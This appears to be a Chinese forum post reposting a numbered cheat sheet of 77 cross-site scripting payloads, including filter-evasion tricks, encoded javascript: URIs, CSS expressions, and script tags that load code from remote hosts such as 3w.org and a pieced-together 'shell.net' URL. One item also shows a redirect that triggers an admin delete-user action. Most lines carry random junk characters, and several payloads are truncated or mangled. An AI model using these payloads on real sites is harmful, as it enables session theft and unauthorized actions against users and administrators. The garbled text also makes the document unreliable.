貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。1 ~- Q Y" \* Q+ U
. G1 g, g w- X/ j$ r w# D# r (1)普通的XSS JavaScript注入8 s0 {# |* _' d) ^+ ^. N% B* G
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 T6 x. V0 S2 u: i0 D6 M3 }# v. r9 E& |$ x" U
(2)IMG标签XSS使用JavaScript命令8 r$ W9 ~# K# W( n4 C4 D! h: F
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 G* Y+ h3 t E6 v4 O6 _* o5 v$ U: Z- E- x* A) k& L; L
(3)IMG标签无分号无引号9 W9 H4 Y* U! ?. Q+ p( y
<IMG SRC=javascript:alert(‘XSS’)>
?6 c' z7 l8 W" a- X G: ?/ Y$ k( s$ {
8 _9 H% w8 `# t7 Z4 { (4)IMG标签大小写不敏感
# s4 f9 u+ P' o2 Y# H <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
6 I4 {1 A p' O1 b7 d2 d# c! R: ?. f& Z, H/ J9 E
(5)HTML编码(必须有分号)* I6 b& i5 W ]; Y; r7 G# D* i
<IMG SRC=javascript:alert(“XSS”)>
: D6 Z. N) ?$ t3 Z% y
! B4 o: A1 E2 @5 W h' O3 T (6)修正缺陷IMG标签
+ D( e6 p( N3 f( k- L <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>" k, s) o$ V& H7 t, }! N; K
7 L/ Q3 X" o4 y: D) w
(7)formCharCode标签(计算器), o7 o6 K% _7 \/ d) n6 b
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- j G+ K. C) C7 ~2 b7 h+ I6 M; N1 Q2 j2 F8 {" e- E
(8)UTF-8的Unicode编码(计算器)
" g/ }2 `' m- k* o! o <IMG SRC=jav..省略..S')>2 Y( A6 }- b+ G, q1 f9 U9 ?
9 [/ h8 |& j8 H: N& b% r3 E (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
6 z5 M+ K. e Y _; |3 {4 h <IMG SRC=jav..省略..S')>
5 r7 Y# {) p: a" e
# e, t9 E4 I0 x6 F: Z (10)十六进制编码也是没有分号(计算器)
& Y; c" x" E7 L* V: ~) {5 T <IMG SRC=java..省略..XSS')>
3 @: C+ k! {" W$ S- y) A2 O7 |& S8 N3 r: T& H! H
(11)嵌入式标签,将Javascript分开
0 o, {* M9 O- z7 ~( g <IMG SRC=”jav ascript:alert(‘XSS’);”>
: z+ [* [. }/ t* k& \
) Y5 w8 E# e; S0 I- R( A+ o0 | (12)嵌入式编码标签,将Javascript分开
+ B7 K8 E5 H" Q/ P <IMG SRC=”jav ascript:alert(‘XSS’);”># S' l# B6 q% t; G3 q
- ?4 g3 H$ x, e& E9 g
(13)嵌入式换行符
7 k# @. @& P* p! \3 G6 x- T <IMG SRC=”jav ascript:alert(‘XSS’);”>
8 _0 @+ ]* _! D5 }4 T! X, G* d x' V* V+ a
(14)嵌入式回车( m9 a% w' H0 w) O- y& T9 R
<IMG SRC=”jav ascript:alert(‘XSS’);”>( s+ N. r) C# G
( i7 s6 ?! C3 n9 w7 K6 Y (15)嵌入式多行注入JavaScript,这是XSS极端的例子
7 V- `9 b1 `9 W! _$ P; b <IMG SRC=”javascript:alert(‘XSS‘)”>( G/ ~- s2 ?$ `; S7 i6 ~
* U$ y! q+ b. N% N( X* Z
(16)解决限制字符(要求同页面)
8 W: S) x" Z+ z7 f4 H; {% c <script>z=’document.’</script>
2 o3 P- Z" j2 Z! U' C: \: T: S* _+ F <script>z=z+’write(“‘</script>0 d# j: S4 K- @0 u# s
<script>z=z+’<script’</script>
$ Z6 P+ x- H! y! U8 D$ o <script>z=z+’ src=ht’</script>
+ `; Q I" R: ]% d0 h# N <script>z=z+’tp://ww’</script>. W# e1 m5 r/ q8 D* |
<script>z=z+’w.shell’</script>6 B; Z! Y9 G3 g' R% [' G
<script>z=z+’.net/1.’</script>
% n7 P& M: h& q7 W/ M% f+ A% [ <script>z=z+’js></sc’</script>
x7 T% N, a4 b" z4 h" k <script>z=z+’ript>”)’</script>
! ~' n; f* x3 \ <script>eval_r(z)</script> W% }8 [( E6 L( r) b/ W
4 t4 h; o# o# M( x
(17)空字符
) |7 R0 n# n' W5 H2 l. q perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out Y) f+ f5 j, S9 s8 w- d- J
3 A; h; p& K5 Q+ F+ U$ X* X
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用* T% o Y3 m7 N6 ^, u7 [
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out; a3 ^3 s F- i: n% K
0 K$ t5 S- d5 I; R; f8 C4 f
(19)Spaces和meta前的IMG标签
7 ]) F# N0 s) H# G$ i ]# z <IMG SRC=” javascript:alert(‘XSS’);”>8 D. d+ M& j& h4 {
1 L5 y) |( q3 ~7 q (20)Non-alpha-non-digit XSS
. X% w- ? O( }: R& S* e6 `; I <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
7 ^/ w3 |4 m1 o" d1 Y+ @4 T9 k; K l, a& @3 [
(21)Non-alpha-non-digit XSS to 2/ S! N6 E- g/ r7 k5 q
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
5 ~. S( m. u2 S' l% K9 n" m
) D R# I9 F8 G: g# |6 C [7 k' I; y& k (22)Non-alpha-non-digit XSS to 3
; ]5 G. s' M/ P9 i <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT> Y2 f* L0 l' t* A0 h
* q) k/ l0 ]' x' I9 K) M5 a
(23)双开括号
$ y' g8 I2 j# U+ @ <<SCRIPT>alert(“XSS”);//<</SCRIPT>) v$ ^# E$ _: j9 N) g4 P, { d8 n3 n
8 W l, F+ S# {6 Y; l2 R4 [* _& o8 A (24)无结束脚本标记(仅火狐等浏览器)
8 H$ H5 Y; E" H- ~+ ? <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>3 b$ f, A0 R7 R# \
9 }. u; }: }8 u/ z- i: ^5 U (25)无结束脚本标记2, P: ]+ ^. Z: l) ~+ s
<SCRIPT SRC=//3w.org/XSS/xss.js>. M: Q ~' E; e8 c7 B5 M" {
8 D3 E1 [; N5 c* h1 {" R+ w
(26)半开的HTML/JavaScript XSS4 ~6 [" e6 `5 T
<IMG SRC=”javascript:alert(‘XSS’)”
* t/ K( }/ u9 Q& P) Q$ V+ |: l" N0 S- ~
(27)双开角括号
1 P% V8 N' P- q0 C/ B <iframe src=http://3w.org/XSS.html <
! Y4 d1 g7 D- w5 F6 a; h8 M- u! A. |5 A! \) N; f! e6 O
(28)无单引号 双引号 分号
* v0 `5 `0 B' V* Z. j <SCRIPT>a=/XSS/
8 u4 N! |! V& Y' S q" M3 u- } alert(a.source)</SCRIPT># Y- \5 ^7 L; O) H' f3 d) C
5 [2 ~; I& `6 E% }5 p. |$ S
(29)换码过滤的JavaScript& l, B6 z# J% j0 W
\”;alert(‘XSS’);//1 T# U; V- b2 V' |7 o- D
4 B1 {" s% k0 ] g: f (30)结束Title标签
( U9 y6 ^, Z( |( d b- ~ </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
8 O. Y3 C9 ^5 r! m' A3 D) V2 t4 E, i! S% N5 E# W( \. u
(31)Input Image% ]2 w8 ` j: T( b4 a4 _
<INPUT SRC=”javascript:alert(‘XSS’);”>
/ e# D+ e9 k3 g! v" m$ c$ I2 `# ]( L; K2 i+ T& {' |8 @
(32)BODY Image2 a% O2 V6 m2 J9 B/ l! C
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>% P1 ~+ l0 o7 N
. E9 i' I* ?: r& y. K3 Y/ u
(33)BODY标签
& l0 H' o8 E/ x$ d <BODY(‘XSS’)>0 A; W# r0 U% V* h
, H: z6 j# P/ V8 }" |& y( _
(34)IMG Dynsrc
, G- x$ j" L6 e7 A6 r$ X' V <IMG DYNSRC=”javascript:alert(‘XSS’)”>
% V& Y9 ]) m- K1 R K+ W3 q% e& K% V. r/ o: S- \ d# X
(35)IMG Lowsrc
x# R/ D$ z, J# r3 w6 I <IMG LOWSRC=”javascript:alert(‘XSS’)”>" P6 C/ n$ `% s- k* V, {6 o* C" X$ x
" x+ A0 O* i3 p2 _ (36)BGSOUND3 }. |4 g3 r) W( Z$ M
<BGSOUND SRC=”javascript:alert(‘XSS’);”>, ?$ f! F j V3 k* J
$ s7 _9 e4 M) a5 ? (37)STYLE sheet
( ]3 ?5 V c' W) k6 @ <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>, X$ p- Y; w: P# g0 i
: C& ?5 Q. H: l S/ ~; f! }% b
(38)远程样式表
7 ^8 D# X7 A; y% U1 Y <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>! Y, }' e' @' F7 Q1 Y# W
2 Z) |6 _( q! n# P) a. z (39)List-style-image(列表式)
4 l" I% s! L5 c1 ?( v8 B <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS! H; B9 ~7 o9 Q1 c; ?
6 a$ L7 [' V6 D' _ (40)IMG VBscript7 M% B! a+ E7 I" u$ n+ x8 s; ]) w, h
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
- Q3 b q; S. f! g0 c8 E5 T' c0 c; T! A. l- w
(41)META链接url; Y# _( f: u+ q0 H- S2 Y
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
! S% i0 T# Z8 t7 m: q" Y
( s/ j( V: U+ |& {7 J5 ?# s (42)Iframe6 F _+ y: a0 p9 k2 D
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
C( \( v+ {' N% J$ M4 A X9 g8 J" W' R" m8 b
(43)Frame
! R; g$ S5 F6 J; w& m: {4 n P2 } <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>5 [& J& K4 Y w0 t
# _& B2 W3 l& m0 d (44)Table1 C3 Z) f3 z. h& u" b$ [ Q
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
* {/ y/ V a2 e4 q7 w/ ^ ^( U' N1 K. t% v' G1 S2 {
(45)TD b% A% |' A# ~
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
" y; x4 y: h0 N$ H8 D3 r
1 \7 t0 ^* u! ^4 \! \9 o9 G3 n5 ? (46)DIV background-image' }0 E8 _8 `1 e( I3 ]' \& Z2 e
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>- O! i! @ Q& b1 h4 g
( e; H( A: j) J5 G7 I# ]
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
5 K- W0 G+ c/ p3 a8 ? <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) S, W" @' v) b( n4 O0 v3 S
* C. [( O; n5 Y, ?8 C/ Y. o (48)DIV expression
1 c: b6 h. j# r R <DIV STYLE=”width: expression_r(alert(‘XSS’));”>$ }8 O w! b+ g* T: n8 m% v/ K
! V6 E' L2 W1 O2 F
(49)STYLE属性分拆表达
5 }% U7 G. U: G% \ <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>9 q( ^) y6 S2 s1 }& i5 M
8 x( q6 T4 B% r& D1 Z
(50)匿名STYLE(组成:开角号和一个字母开头)+ W/ B4 z7 H0 x2 \
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
. \2 {1 c1 \3 W3 L6 |, L' p' k8 @. V$ O" d7 }" g$ M. G3 @' j# S1 P
(51)STYLE background-image) h0 g/ f4 e& g) C% F" R* }
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>5 g, ?8 v. h [
; x! W, ]1 y- j; _: H6 x (52)IMG STYLE方式- h2 v g& n& j/ X: m
exppression(alert(“XSS”))’>
; y4 |; j7 V9 B0 b) A0 v; z7 T4 n$ ^8 X1 z' k" n* A. a: V) C
(53)STYLE background; H. P3 E* ^8 [5 N8 |% Q- N+ Z
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>/ Q: l9 ~+ y4 a) x! l
+ _ ~' ^; u0 w$ ~ (54)BASE8 H/ L! |' C3 f6 L* ?" {. a
<BASE HREF=”javascript:alert(‘XSS’);//”>1 s, {# v `! l# V! I: w
; r0 X' j1 Q* g/ Y
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
7 h9 g) h9 x; [3 R% k F <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
0 J2 Y5 k1 j/ u( k+ u" e, [- K6 Z8 P4 X4 P# y- k8 [; \; ~
(56)在flash中使用ActionScrpt可以混进你XSS的代码
2 W1 C2 E* e, M- h1 t& [8 y a=”get”;
" J: V, Y* ]4 y8 r9 q1 B7 |( n- B b=”URL(\”";0 A0 g% ?4 j3 z4 f
c=”javascript:”;
; P" f0 a( d# q d=”alert(‘XSS’);\”)”;
3 n, I9 Z# L4 {) L eval_r(a+b+c+d);
$ }7 h4 ^; P2 k% O6 @ \$ n6 r: k% I$ B/ D
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
. L+ w6 `8 X5 c# C <HTML xmlns:xss>7 @# [* [# E; X5 ` m0 O* c
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>7 \7 m$ g! E$ t& u
<xss:xss>XSS</xss:xss>8 q: l! T6 Q1 s5 y) @
</HTML>
H. L: B x0 w# B( Q; T
) o, z* a1 E3 c" v& [9 A P, ~3 [& V4 R9 U (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
7 R; A7 X* E; l- v; |1 [ <SCRIPT SRC=””></SCRIPT>
+ S4 U) _! E) G& V
( H+ H% T: e: C; p* ]$ t' y (59)IMG嵌入式命令,可执行任意命令
7 z# r2 _7 q, N/ z# a <IMG SRC=”http://www.XXX.com/a.php?a=b”>
( B4 e! w8 P1 J7 Q# _+ L% R7 g7 a. X4 Q8 q
(60)IMG嵌入式命令(a.jpg在同服务器)
1 i! ?+ t* M/ {) W Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser* m; o- M$ X% [. g" X: r1 [
" o) u4 L/ o7 ~1 b: C& G6 H3 {* T
(61)绕符号过滤! O) o* E3 D6 n# {" v
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>( ?) A; }7 [9 {! g! v
* r6 a: R- ?8 Z. Z0 D. o7 P
(62)! `. g5 I" q1 k4 l; ]
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
# |1 Q1 K! s% [0 x" {/ w6 |1 v0 a! G G
(63): L; L( g* p: [9 H
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>" t7 t F" t3 H
5 D* J" Z' }$ f7 C) ~ l8 V (64)& H# F4 @- r9 m* E. o; @4 G
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
0 n. i! ?! _0 x% e
; z1 W7 a5 i0 A% E" j7 y" i (65)
5 Y4 q* t0 z9 A2 d! e! z+ P, W0 h1 z <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>, T9 q: _1 @0 g* L
# V% R+ j! _; K7 R
(66)
% Y4 u _% }& s- Y" E <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
. i r, g5 t% D" Y, b( m3 p0 F4 |6 ~/ I7 ` K/ R+ E0 n9 [& v. j* I
(67)% j3 l; u% E' g* S3 ?6 {" X
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>7 _8 L7 o1 W0 j* q3 [- o
6 m7 u& M! T7 v" t, w8 l (68)URL绕行
) t$ k0 T% N& u1 C. T E0 v1 X8 w <A HREF=”http://127.0.0.1/”>XSS</A>
. l/ X& z# y0 ?6 o' w7 I/ [
' U$ W( z7 y6 L4 c (69)URL编码
6 L( i7 `7 w0 K* H9 K <A HREF=”http://3w.org”>XSS</A>
4 B# n. J3 `* S% k& q& P9 I' {+ y3 E4 |+ g, e, E2 E4 I9 U4 S& L6 E4 N- f
(70)IP十进制% W4 x: T- p& S2 q
<A HREF=”http://3232235521″>XSS</A>& x7 y) k" ~* z$ ?) X. a V9 H; R
$ i7 h1 k0 J8 Z& H; a
(71)IP十六进制5 `" V0 s) @0 ?4 D) y" H
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
9 i; e w) Q! y
6 ?6 Q! g" Q, m7 c3 j8 F# L/ _ T (72)IP八进制& b- b2 x+ {7 k) t) R$ _% l% _
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
( {0 c1 ~! B2 h2 X' |; ]5 O) v! O! B* {* c4 Q& L& t- Q7 c
(73)混合编码
- d* K+ {$ F4 K& Z2 b7 m# X5 X <A HREF=”h
- X, |+ k: k% F. [- {2 [; s; | tt p://6 6.000146.0×7.147/”">XSS</A>
6 u; _- N# {' p1 J/ ]( Z+ [ X) X( V$ `" W+ |3 K: r0 u6 z$ s+ D
(74)节省[http:]/ a' e4 o v* v5 V* H/ ?* c$ ]
<A HREF=”//www.google.com/”>XSS</A>
e, @) @1 E, ?1 v! \% H& F
0 D- G" W' Q/ x( i& X# V8 C (75)节省[www]7 u- K# I5 s! n% L1 ^1 g
<A HREF=”http://google.com/”>XSS</A>' [% v! u; ] a' u
; \! x, P5 K, P; ? (76)绝对点绝对DNS' P5 r4 N2 c6 N" F3 a4 u8 P
<A HREF=”http://www.google.com./”>XSS</A>
+ V5 U, B: N8 ~& r. g X, U: z! P
(77)javascript链接6 A. L7 l0 `( D$ \4 _& a( ^+ S) W# Z; f
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |